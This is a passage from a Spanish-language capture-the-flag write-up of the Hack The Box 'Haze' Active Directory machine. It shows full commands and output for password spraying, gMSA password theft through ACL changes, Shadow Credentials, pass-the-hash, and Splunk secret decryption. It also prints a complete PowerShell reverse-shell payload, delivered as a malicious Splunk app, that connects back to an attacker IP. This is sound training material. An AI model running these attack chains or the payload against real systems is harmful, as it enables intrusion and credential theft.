, y a través de expresiones regulares nos quedaremos solamente con los nombres de usuarios.
❯ cat users.txt
Account name: HAZE\Administrator
Account name: HAZE\Guest
Account name: HAZE\krbtgt
Account name: HAZE\DC01$
Account name: HAZE\paul.taylor
Account name: HAZE\mark.adams
Account name: HAZE\edward.martin
Account name: HAZE\alexander.green
Account name: HAZE\Haze-IT-Backup$
❯ cat users.txt | awk '{print $NF}' FS='\\' | sponge users.txt
❯ cat users.txt
Administrator
Guest
krbtgt
DC01$
paul.taylor
mark.adams
edward.martin
alexander.green
Haze-IT-Backup$
Password Spraying using Kerbrute
A través de la herramienta de Kerbrute
realizamos un Password Spraying
para verificar si la contraseña obtenida anteriormente se reutilizaba para alguno de los usuarios obtenidos.
Como resultado, verificamos que las credenciales son válidas para el usuario paul.taylor
(que disponíamos principalmente) y de un nuevo usuario mark.adams
.
❯ kerbrute passwordspray -d haze.htb --dc dc01.haze.htb users.txt 'Ld@p_Auth_Sp1unk@2k24'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/30/25 - Ronnie Flathers @ropnop
2025/03/30 11:54:47 > Using KDC(s):
2025/03/30 11:54:47 > dc01.haze.htb:88
2025/03/30 11:54:48 > [+] VALID LOGIN: paul.taylor@haze.htb:Ld@p_Auth_Sp1unk@2k24
2025/03/30 11:54:48 > [+] VALID LOGIN: mark.adams@haze.htb:Ld@p_Auth_Sp1unk@2k24
2025/03/30 11:54:48 > Done! Tested 9 logins (2 successes) in 0.595 seconds
Abusing WinRM - EvilWinRM
Las credenciales son válidas, ya que a través de Kerbrute
realiza la validación a través de la autenticación de Kerberos
. Por otro lado, verificamos si a través de este usuario podíamos autenticarnos mediante WinRM
al Domain Controller
.
Comprobamos que podemos acceder al DC
, pero con este usuario aún no obtenemos la flag user.txt.
❯ nxc winrm $IP -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'
WINRM 10.129.140.67 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM 10.129.140.67 5985 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 (Pwn3d!)
❯ evil-winrm -i $IP -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mark.adams\Documents>
Auth as Haze-IT-Backup$
BloodHound Enumeration
En este punto, buscamos continuar escalando privilegios dentro del dominio a través de movimiento lateral. Para ello, utilizamos BloodHound
, una herramienta que nos permite mapear relaciones dentro del dominio y detectar posibles vectores de escalada de privilegios.
Con las credenciales válidas del usuario mark.adams
, lanzamos la enumeración completa utilizando bloodhound-python
, que se encarga de recolectar toda la información necesaria a través de LDAP y Kerberos
❯ bloodhound-python -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d 'haze.htb' -ns "$IP" -dc 'dc01.haze.htb' --zip -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 8 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 11S
INFO: Compressing output into 20250330120043_bloodhound.zip
Al analizar la información recolectada con BloodHound, observamos que el usuario mark.adams@haze.htb
formaba parte de varios grupos, entre ellos Remote Management Users
, lo que nos explicaba por qué fue posible conectarnos mediante WinRM de forma remota.
Además, también era miembro del grupo gMSA_Managers
, lo cual nos llamó la atención porque podría estar relacionado con la gestión de cuentas de servicio administradas (gMSA), y representar un posible vector de escalada lateral o privilegios si alguna de esas cuentas está mal configurada.

Desde el mismo Domain Controller
autenticados como mark.adams
verificamos la misma información de los grupos a los cuales pertenece dicho usuario.
*Evil-WinRM* PS C:\Users\mark.adams\Documents> net user mark.adams
User name mark.adams
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/30/2025 2:55:12 AM
Password expires Never
Password changeable 3/31/2025 2:55:12 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 3/30/2025 2:54:49 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *gMSA_Managers *Domain Users
The command completed successfully.
Privilege Abuse via Set-ADServiceAccount and ACL Modification to Dump gMSA Password
Como formábamos parte del grupo gMSA_Managers, pensamos que quizás podríamos leer la contraseña de alguna cuenta gMSA del dominio. Para comprobarlo, utilizamos PowerView.py, una versión en Python de la herramienta PowerView, que permite realizar consultas LDAP de forma sencilla desde fuera del entorno Windows.
Nos conectamos con las credenciales de mark.adams
y ejecutamos el módulo Get-GMSA
, que automáticamente intenta recuperar las contraseñas de cuentas gMSA a las que tengamos permiso de lectura.
El resultado mostró una cuenta gMSA asociada al equipo Haze-IT-Backup$
, pero en este caso el campo PrincipalsAllowedToRead
indicaba que solo los Domain Admins
tenían permisos para acceder a su contraseña, por lo que de momento no podíamos leerla directamente.
Más adelante veremos cómo aprovechamos nuestra pertenencia al grupo gMSA_Managers
para modificar esta configuración y obtener acceso a esa cuenta.
❯ powerview haze.htb/mark.adams:'Ld@p_Auth_Sp1unk@2k24'@"$IP" --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/haze-mark.adams-10.129.140.67
[2025-03-30 11:58:48] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.haze.htb]-[HAZE\mark.adams]
PV > Get-GMSA
ObjectDnsHostname : Haze-IT-Backup.haze.htb
ObjectSAN : Haze-IT-Backup$
ObjectSID : S-1-5-21-323145914-28650650-2368316563-1111
PrincipallAllowedToRead : HAZE\Domain Admins
El cmdlet Set-ADServiceAccount
permite modificar las propiedades de una cuenta de servicio administrada (MSA o gMSA) dentro de Active Directory. Uno de sus parámetros más importantes es -PrincipalsAllowedToRetrieveManagedPassword
, que define qué usuarios o grupos tienen permiso para leer la contraseña de una cuenta gMSA.
Esta propiedad es clave, ya que si un usuario tiene permiso de lectura sobre una gMSA, puede recuperar su contraseña en texto plano y utilizarla para autenticarse como esa cuenta. Por defecto, solo ciertos grupos privilegiados (como Domain Admins
) tienen ese permiso. Sin embargo, si tenemos privilegios suficientes, podemos modificar esa propiedad y asignarnos como entidad autorizada para obtener la contraseña de la gMSA.

Como ya sabíamos que solo los Domain Admins
tenían permisos para leer la contraseña de la cuenta gMSA Haze-IT-Backup$
, aprovechamos nuestra posición en el dominio para modificarlos a nuestro favor. Subimos PowerView.ps1 a través de Evil-WinRM y lo importamos en la sesión.
*Evil-WinRM* PS C:\ProgramData> upload PowerView.ps1
Info: Uploading /home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/content/PowerView.ps1 to C:\ProgramData\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\ProgramData> . .\PowerView.ps1
Luego, utilizamos el cmdlet Set-ADServiceAccount
para asignar al usuario mark.adams
como principal autorizado para leer la contraseña de esa gMSA.
Para asegurarnos de que teníamos los permisos suficientes para que esto surtiera efecto, también agregamos una ACL personalizada sobre el objeto del equipo con el derecho ResetPassword.
*Evil-WinRM* PS C:\ProgramData> Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"
*Evil-WinRM* PS C:\ProgramData> Get-DomainComputer -Identity "Haze-IT-Backup$" | Add-DomainObjectAcl -PrincipalIdentity "mark.adams" -Rights ResetPassword
Una vez modificados los permisos con Set-ADServiceAccount
y aplicada la ACL con Add-DomainObjectAcl
, volvimos a ejecutar PowerView.py con el usuario mark.adams
. Esta vez, al lanzar el módulo Get-GMSA
, conseguimos acceder correctamente a la contraseña de la cuenta gMSA Haze-IT-Backup$
.
❯ powerview haze.htb/mark.adams:'Ld@p_Auth_Sp1unk@2k24'@"$IP" --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/haze-mark.adams-10.129.140.67
[2025-03-30 12:14:33] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.haze.htb]-[HAZE\mark.adams]
PV > Get-GMSA
ObjectDnsHostname : Haze-IT-Backup.haze.htb
ObjectSAN : Haze-IT-Backup$
ObjectSID : S-1-5-21-323145914-28650650-2368316563-1111
PrincipallAllowedToRead : HAZE\mark.adams
GMSAPassword : 735c02c6b2dc54c3c8c6891f55279ebc
Verificamos que las credenciales de la cuenta gMSA
Haze-IT-Backup$
son válidas para autenticarse por LDAP
al dominio.
❯ nxc ldap $IP -u 'Haze-IT-Backup$' -H '735c02c6b2dc54c3c8c6891f55279ebc'
SMB 10.129.140.67 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAP 10.129.140.67 389 DC01 [+] haze.htb\Haze-IT-Backup$:735c02c6b2dc54c3c8c6891f55279ebc
Shell as edward.martins
BloodHound Enumeration
Esta máquina está planteada para que vayamos recolectando información con BloodHound cada vez que consigamos nuevas credenciales. Esto nos permite ir ampliando la visibilidad sobre el dominio a medida que progresamos en el compromiso.
Después de obtener la contraseña en texto plano de la cuenta gMSA Haze-IT-Backup$
, la utilizamos para lanzar una nueva recolección con BloodHound.py, esta vez autenticándonos con su hash NTLM directamente.
La enumeración se completó correctamente y nos devolvió información adicional del dominio, incluyendo nuevos usuarios, grupos y objetos que no habíamos visto en recolecciones anteriores. Esto reforzaba la idea de ejecutar BloodHound con cada cuenta obtenida, ya que cada una puede tener visibilidad distinta sobre el entorno.
❯ bloodhound-python -u 'HAZE-IT-BACKUP$' --hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -d 'haze.htb' -ns "$IP" --zip -c All -dc 'dc01.haze.htb'
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 11S
INFO: Compressing output into 20250330121654_bloodhound.zip
Durante el análisis en BloodHound, detectamos un path interesante de movimiento lateral que podíamos aprovechar. La cuenta HAZE-IT-BACKUP$
, que ya controlábamos, tenía el permiso WriteOwner
sobre el grupo SUPPORT_SERVICES@HAZE.HTB
. Esto nos permitía tomar control de dicho grupo.
A su vez, los miembros de SUPPORT_SERVICES
tenían permisos sobre el usuario edward.martin@haze.htb
, específicamente:
ForceChangePassword
, lo que permitiría cambiarle la contraseña (aunque esto no es recomendable en un pentest real porque genera alertas).AddKeyCredentialLink
, lo que nos permitía realizar un ataque de Shadow Credentials para autenticarnos como él sin modificar su contraseña.
Este path nos abría la posibilidad de escalar privilegios lateralmente hacia Edward Martin de forma sigilosa, usando la técnica de Shadow Credentials, sin necesidad de generar ruido en el entorno.

Abusing WriteOwner Privileges over a group (bloodyAD)
Tras identificar que la cuenta HAZE-IT-BACKUP$
tenía el privilegio WriteOwner
sobre el grupo SUPPORT_SERVICES
, decidimos abusar de esta configuración para tomar control total del grupo.

Primero cambiamos el propietario del objeto al propio HAZE-IT-BACKUP$
, y luego le asignamos permisos GenericAll, lo que nos dio control total sobre el grupo. Esto fue clave, ya que SUPPORT_SERVICES
tenía privilegios sobre el usuario edward.martin
, permitiéndonos abusar de ellos más adelante para ejecutar un ataque de Shadow Credentials de forma silenciosa y sin cambiarle la contraseña
❯ bloodyAD --host "$IP" -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' set owner 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'HAZE-IT-BACKUP$'
[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by HAZE-IT-BACKUP$ on CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB
❯ bloodyAD --host "$IP" -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' add genericAll 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'HAZE-IT-BACKUP$'
[+] HAZE-IT-BACKUP$ has now GenericAll on CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB
Abusing AddKeyCredentialLink to Perform Shadow Credentials Attack
Como comentamos anteriormente, el grupo SUPPORT_SERVICES
tenía permisos sobre el usuario edward.martin
, concretamente los privilegios ForceChangePassword
y AddKeyCredentialLink
. Aunque podríamos haber cambiado su contraseña directamente, en un entorno real esto no es recomendable ya que generaría alertas y el usuario podría darse cuenta de inmediato.
En su lugar, optamos por abusar del permiso AddKeyCredentialLink
, que nos permite realizar un ataque de Shadow Credentials. Esta técnica consiste en asociar una clave pública controlada por nosotros al objeto del usuario, lo que nos permite autenticarnos como él mediante Kerberos (PKINIT) sin necesidad de conocer su contraseña, de forma totalmente silenciosa.

Antes de explotar el permiso AddKeyCredentialLink
, lo primero que hicimos fue añadir la cuenta HAZE-IT-BACKUP$
como miembro del grupo SUPPORT_SERVICES
, ya que este grupo era el que tenía los privilegios sobre el usuario edward.martin
. Al formar parte del grupo, nuestra cuenta gMSA heredaría automáticamente esos permisos.
Con esto, ya teníamos los permisos necesarios para ejecutar el ataque de Shadow Credentials sobre edward.martin
usando AddKeyCredentialLink
.
❯ bloodyAD --host "$IP" -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' add groupMember 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'HAZE-IT-BACKUP$'
[+] HAZE-IT-BACKUP$ added to CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB
Una vez que añadimos la cuenta HAZE-IT-BACKUP$
al grupo SUPPORT_SERVICES
y obtuvimos los privilegios necesarios, ejecutamos el ataque de Shadow Credentials utilizando Certipy. Esta técnica nos permitió inyectar una clave controlada por nosotros al objeto del usuario edward.martin
, y luego autenticarnos como él sin necesidad de conocer su contraseña.
Certipy generó un certificado, lo asoció al usuario objetivo y obtuvo satisfactoriamente un TGT (Ticket Granting Ticket) como edward.martin
. Además, extrajo su hash NTLM.
Finalmente, Certipy restauró automáticamente los Key Credentials originales del usuario para no dejar rastros, lo que convierte esta técnica en una opción muy sigilosa para moverse lateralmente en entornos reales.
❯ certipy-ad shadow auto -username 'Haze-IT-Backup$'@haze.htb -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -account 'EDWARD.MARTIN' -dc-ip "$IP"
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'edward.martin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '63752a20-6b83-96ea-6d5f-fb458eb55565'
[*] Adding Key Credential with device ID '63752a20-6b83-96ea-6d5f-fb458eb55565' to the Key Credentials for 'edward.martin'
[*] Successfully added Key Credential with device ID '63752a20-6b83-96ea-6d5f-fb458eb55565' to the Key Credentials for 'edward.martin'
[*] Authenticating as 'edward.martin' with the certificate
[*] Using principal: edward.martin@haze.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Restoring the old Key Credentials for 'edward.martin'
[*] Successfully restored the old Key Credentials for 'edward.martin'
[*] NT hash for 'edward.martin': 09e0b3eeb2e7a6b0d419e9ff8f4d91af
Abusing WinRM - EvilWinRM
Revisamos nuevamente en BloodHound
y comprobamos que este nuevo usuario que disponemos, forma parte del grupo Remote Management Users
con lo cual podríamos conectarnos al Domain Controller
mediante WinRM
.

Nos conectamos al DC
a través de la herramienta evil-winrm
realizando Pass-The-Hash (PtH)
con el hash NTLM obtenido. Verificamos que finalmente obtenemos la flag user.txt
❯ evil-winrm -i "$IP" -u 'edward.martin' -H '09e0b3eeb2e7a6b0d419e9ff8f4d91af'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\edward.martin\Documents> type ../Desktop/user.txt
0925213*************************
Shell as alexander.green
Abusing Backup_Reviewers Group Membership to Access Splunk Backup
Volviendo a BloodHound
, nos encontramos que el usuario edward.martin
forma parte de un grupo llamado Backup_Reviewers
, un grupo de seguridad no nativo de Windows, que parece estar relacionado con algún tipo de acceso a backups.

Enumerando los directorios del Domain Controller
, nos encontramos con un directorio ubicado en C:\Backups\Splunk
en el cual contenía un archivo comprimido .zip
de una copia de seguridad de Splunk
. Nos descargaremos el comprimido a través de evil-winrm
con el módulo download
para verificar si en este backup habían credenciales que nos puedan servir o otra información útil.
*Evil-WinRM* PS C:\Backups\Splunk> ls
Directory: C:\Backups\Splunk
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/6/2024 3:22 PM 27445566 splunk_backup_2024-08-06.zip
*Evil-WinRM* PS C:\Backups\Splunk> download splunk_backup_2024-08-06.zip
Info: Downloading C:\Backups\Splunk\splunk_backup_2024-08-06.zip to splunk_backup_2024-08-06.zip
Info: Download successful!
Descomprimiremos el archivo comprimido descargado y verificamos que es una copia de seguridad de Splunk
de la instalación. Posiblemente disponga de credenciales y archivos sensibles como authentication.conf
y splunk.secret
como obtuvimos anteriormente en la intrusión.
❯ ls -l splunk_backup_2024-08-06.zip
.rw-rw-r-- gzzcoo gzzcoo 26 MB Sun Mar 30 12:31:38 2025 splunk_backup_2024-08-06.zip
❯ unzip splunk_backup_2024-08-06.zip
❯ cd Splunk
❯ ls -la
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 22:52:06 2024 .
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Sun Mar 30 12:33:06 2025 ..
drwxrwxr-x gzzcoo gzzcoo 12 KB Tue Aug 6 15:26:34 2024 bin
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:26:34 2024 cmake
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:24:08 2024 etc
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:24:08 2024 lib
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:24:12 2024 opt
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 22:52:26 2024 Python-3.7
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:25:10 2024 quarantined_files
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 22:53:06 2024 share
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:26:16 2024 swidtag
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:26:30 2024 var
.rw-rw-r-- gzzcoo gzzcoo 58 B Thu Mar 21 00:38:24 2024 copyright.txt
.rw-rw-r-- gzzcoo gzzcoo 325 KB Thu Mar 21 00:38:24 2024 license-eula.rtf
.rw-rw-r-- gzzcoo gzzcoo 85 KB Thu Mar 21 00:38:24 2024 license-eula.txt
.rw-rw-r-- gzzcoo gzzcoo 11 KB Thu Mar 21 00:41:30 2024 openssl.cnf
.rw-rw-r-- gzzcoo gzzcoo 532 B Thu Mar 21 00:48:12 2024 README-splunk.txt
.rw-rw-r-- gzzcoo gzzcoo 3.0 MB Thu Mar 21 01:30:04 2024 splunk-9.2.1-78803f08aabb-windows-64-manifest
Accessing Splunk Admin Interface via Decrypted Backup Credentials using splunksecrets
Buscaremos a través del comando find
partiendo desde el directorio actual si encontramos el archivo splunk.secret
y authentication.conf
. En el resultado obtenido, comprobamos la existencia de ambos archivos.
❯ find $(pwd) -name splunk.secret 2>/dev/null
/home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/Haze/content/Splunk/etc/auth/splunk.secret
❯ find $(pwd) -name authentication.conf 2>/dev/null
/home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/Haze/content/Splunk/etc/system/default/authentication.conf
/home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/Haze/content/Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
/home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/Haze/content/Splunk/var/run/splunk/confsnapshot/baseline_default/system/default/authentication.conf
El archivo splunk.secret
que disponemos es diferente al encontrado anteriormente en la fase inicial de la intrusión.
CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B
Por otro lado, también nos encontramos con otro archivo interesante: authentication.conf
, ubicado en la ruta var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
. Este archivo contenía la configuración de autenticación LDAP utilizada por Splunk. Lo más relevante fue que, además del esquema de autenticación, se revelaba un nuevo usuario de dominio en la sección [Haze LDAP Auth].
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
Esto nos indicaba que la cuenta alexander.green
se estaba utilizando como bindDN para el acceso LDAP, y que su contraseña estaba cifrada. Además, también quedaba claro que esta cuenta formaba parte del grupo Splunk_Admins
, lo cual sugiere que tiene privilegios elevados dentro de la plataforma Splunk.
Teniendo en cuenta que ya habíamos recuperado previamente el archivo splunk.secret
, podíamos ahora proceder a descifrar esta contraseña usando splunksecrets
, tal como hicimos con el usuario Paul Taylor.
[default]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
Accedemos al directorio donde encontramos el splunk.secret
del backup de Splunk.
❯ cd etc/auth; ls -l splunk.secret
.rw-rw-r-- gzzcoo gzzcoo 254 B Tue Aug 6 15:16:20 2024 splunk.secret
Con el archivo splunk.secret
que habíamos obtenido previamente del backup de Splunk, y el valor cifrado encontrado en el authentication.conf
, procedimos a desencriptar la contraseña del usuario alexander.green utilizando la herramienta splunksecret
.
El proceso nos devolvió la contraseña en texto plano: Sp1unkadmin@2k24
.
Esto nos daba acceso como el usuario alexander.green, quien además formaba parte del grupo Splunk_Admins
, por lo que podíamos asumir que tenía permisos elevados dentro de la plataforma Splunk, permitiéndonos acceder a funciones sensibles o configuración crítica desde la interfaz web.
❯ splunksecrets splunk-decrypt -S splunk.secret
Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
Sp1unkadmin@2k24
Comprobamos que estas credenciales no son válidas para autenticarse por LDAP
con el usuario alexander.green
.
❯ nxc ldap $IP -u 'alexander.green' -p 'Sp1unkadmin@2k24'
LDAP 10.129.140.67 389 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAP 10.129.140.67 389 DC01 [-] haze.htb\alexander.green:Sp1unkadmin@2k24
Accederemos a http://haze.htb:8000/ y trataremos de ingresar a Splunk
con las siguientes credenciales de acceso: admin:Sp1unkadmin@2k24

Verificamos que finalmente nos encontramos dentro de la interfaz administrativa de Splunk
y nos encontramos como el usuario Administrator
.

Splunk Reverse Shell through app
Nos encontramos un repositorio de GitHub
en el cual nos ofrece la creación de un paquete de Splunk para lograr obtener una Reverse Shell.
❯ git clone https://github.com/0xjpuff/reverse_shell_splunk; cd reverse_shell_splunk
Clonando en 'reverse_shell_splunk'...
remote: Enumerating objects: 23, done.
remote: Total 23 (delta 0), reused 0 (delta 0), pack-reused 23 (from 1)
Recibiendo objetos: 100% (23/23), 5.16 KiB | 5.16 MiB/s, listo.
Resolviendo deltas: 100% (4/4), listo.
Una vez descargado el repositorio de GitHub, veremos la estructura de los archivos que necesitaremos.
❯ cd reverse_shell_splunk
❯ ls -l
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Sun Mar 30 12:41:10 2025 bin
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Sun Mar 30 12:41:10 2025 default
❯ tree
.
├── bin
│ ├── rev.py
│ ├── run.bat
│ └── run.ps1
└── default
└── inputs.conf
3 directories, 4 files
Modificaremos el archivo run.ps1
para indicarle nuestra dirección IP y el puerto donde estaremos en escucha.
#A simple and small reverse shell. Options and help removed to save space.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Crearemos el archivo comprimido reverse_shell_splunk.tgz
y lo renombraremos con extensión .spl
.
❯ ls
reverse_shell_splunk README.md
❯ tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
reverse_shell_splunk/
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/run.bat
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.ps1
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
❯ mv reverse_shell_splunk.tgz reverse_shell_splunk.spl
❯ ls -l reverse_shell_splunk.spl
.rw-rw-r-- gzzcoo gzzcoo 964 B Sun Mar 30 12:43:55 2025 reverse_shell_splunk.spl
Nos pondremos en escucha con nc
para recibir la Reverse Shell.
❯ rlwrap -cAr nc -nlvp 4444
listening on [any] 4444 ...
Accederemos a http://haze.htb:8000/en-US/manager/search/apps/local para instalar nuestra app con la Reverse Shell. Dentro de este panel, le daremos a la opción de Install app from file
.

Subiremos nuestro archivo reverse_shell_splunk.spl
y le daremos a la opción de Upload
para subirlo a Splunk la app maliciosa.

Verificaremos que nos indica que la aplicación se ha instalado correctamente dentro de Splunk.

Después de un breve tiemo, verificamos que se ha ejecutado la reverse shell de la app maliciosa a través del File Upload
vulnerable de esta versión de Splunk
. Nos encontramos en el Domain Controller
autenticados como el usuario alexander.green
.
❯ rlwrap -cAr nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.140.67] 57466
PS C:\Windows\system32> whoami; hostname
haze\alexander.green
dc01
Privilege Escalation
Abusing SeImpersonatePrivilege (EfsPotato)
Al revisar los privilegios habilitados para el usuario dentro del sistema, identificamos que disponía del privilegio SeImpersonatePrivilege
, lo cual nos abría la posibilidad de realizar una escalada de privilegios local mediante técnicas conocidas como EfsPotato, PrintSpoofer o similares.
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Realizando un systeminfo
para ver la versión del Domain Controller
, nos encontramos que tiene como sistema operativo un Microsoft Windows Server 2022 Standard
. Por lo tanto, la herramienta de PrintSpoofer
no nos servirá en este caso.

PS C:\ProgramData> systeminfo
Host Name: DC01
OS Name: Microsoft Windows Server 2022 Standard
OS Version: 10.0.20348 N/A Build 20348
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00454-20165-01481-AA286
Original Install Date: 3/4/2025, 11:00:20 PM
